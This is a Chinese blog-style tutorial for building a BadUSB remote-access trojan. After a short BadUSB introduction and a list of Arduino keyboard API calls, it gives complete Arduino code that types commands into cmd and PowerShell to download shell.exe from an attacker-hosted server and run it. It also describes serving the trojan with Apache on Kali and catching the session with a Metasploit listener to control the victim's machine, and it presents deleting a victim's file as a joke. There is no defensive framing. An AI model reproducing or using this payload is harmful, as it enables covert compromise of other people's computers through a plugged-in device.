最近接触到利用badsub进行攻击的方法,于是自己研究了一波,先给出一个badusb木马远控案例。

badusb简介

badusb是一种类似于U盘,插入后就会自动执行里面的恶意代码进行恶意操作,由于恶意代码是存在badusb存放固件的区域中,所以杀毒软件和U盘格式化都不能防御badusb的攻击

badusb基本语法和arduino按键代码

入门badusb参考视频教程:https://www.bilibili.com/video/av20517610?from=search&seid=10154231350179524417

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
delay(5000);//延时毫秒

Keyboard.begin(); //开始键盘通讯

Keyboard.end(); //结束键盘通讯

Keyboard.press(); //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来

Keyboard.release(); //释放键盘按键

Keyboard.println(“”); //输入字符串使用双引号括起来


Mouse.begin();//鼠标事件开始

Mouse.click();//鼠标单击

Mouse.end();//鼠标事件结束

Mouse.move();//鼠标移动(x,y)

Mouse.press();//鼠标按下

Mouse.release();//鼠标松开

KEY_LEFT_CTRL

KEY_LEFT_SHIFT

KEY_LEFT_ALT

KEY_LEFT_GUI //win键

KEY_RIGHT_CTRL

KEY_RIGHT_SHIFT

KEY_RIGHT_ALT

KEY_RIGHT_GUI

KEY_UP_ARROW

KEY_DOWN_ARROW

KEY_LEFT_ARROW

KEY_RIGHT_ARROW

KEY_BACKSPACE

KEY_TAB

KEY_RETURN//回车键

KEY_ESC

KEY_INSERT

KEY_DELETE

KEY_PAGE_UP

KEY_PAGE_DOWN

KEY_HOME

KEY_END

KEY_CAPS_LOCK

KEY_F1

KEY_F2

KEY_F3

KEY_F4

KEY_F5

KEY_F6

KEY_F7

KEY_F8

KEY_F9

KEY_F10

KEY_F11

KEY_F12

远控木马制作方法

为了让受害用户下载这个木马,所以将木马上传到服务器上面,kali就打开apache服务,放进var/www/html目录里面,首先要打开apache服务,service apache2 start

写badusb代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include<Keyboard.h>
void setup() {
// put your setup code here, to run once:
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press('r');//r键
delay(300);
Keyboard.release(KEY_LEFT_GUI);//释放win 键
Keyboard.release('r');//释放R键
Keyboard.press(KEY_CAPS_LOCK);//切换大小写,绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println("cmd ");
delay(200);
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("powershell ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$clnt = new-object System.Net.WebClient; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$url= 'http://192.168.43.127/shell.exe'; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$file = ' D:\\server.exe'; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$clnt.DownloadFile($url,$file); ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("START D:\\server.exe ");
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.end();//结束键盘通讯
}

void loop() {
// put your main code here, to run repeatedly:

}

msf利用

可以先开启侦听,当用户下载木马后就能实现远控


开启了侦听后就可以等插入badusb了

成功实现远控

可以输入chcp 65001让连接更稳定

成功,然后就可以对该主机为所欲为了,比如我删除了该用户桌面上的一张图片23333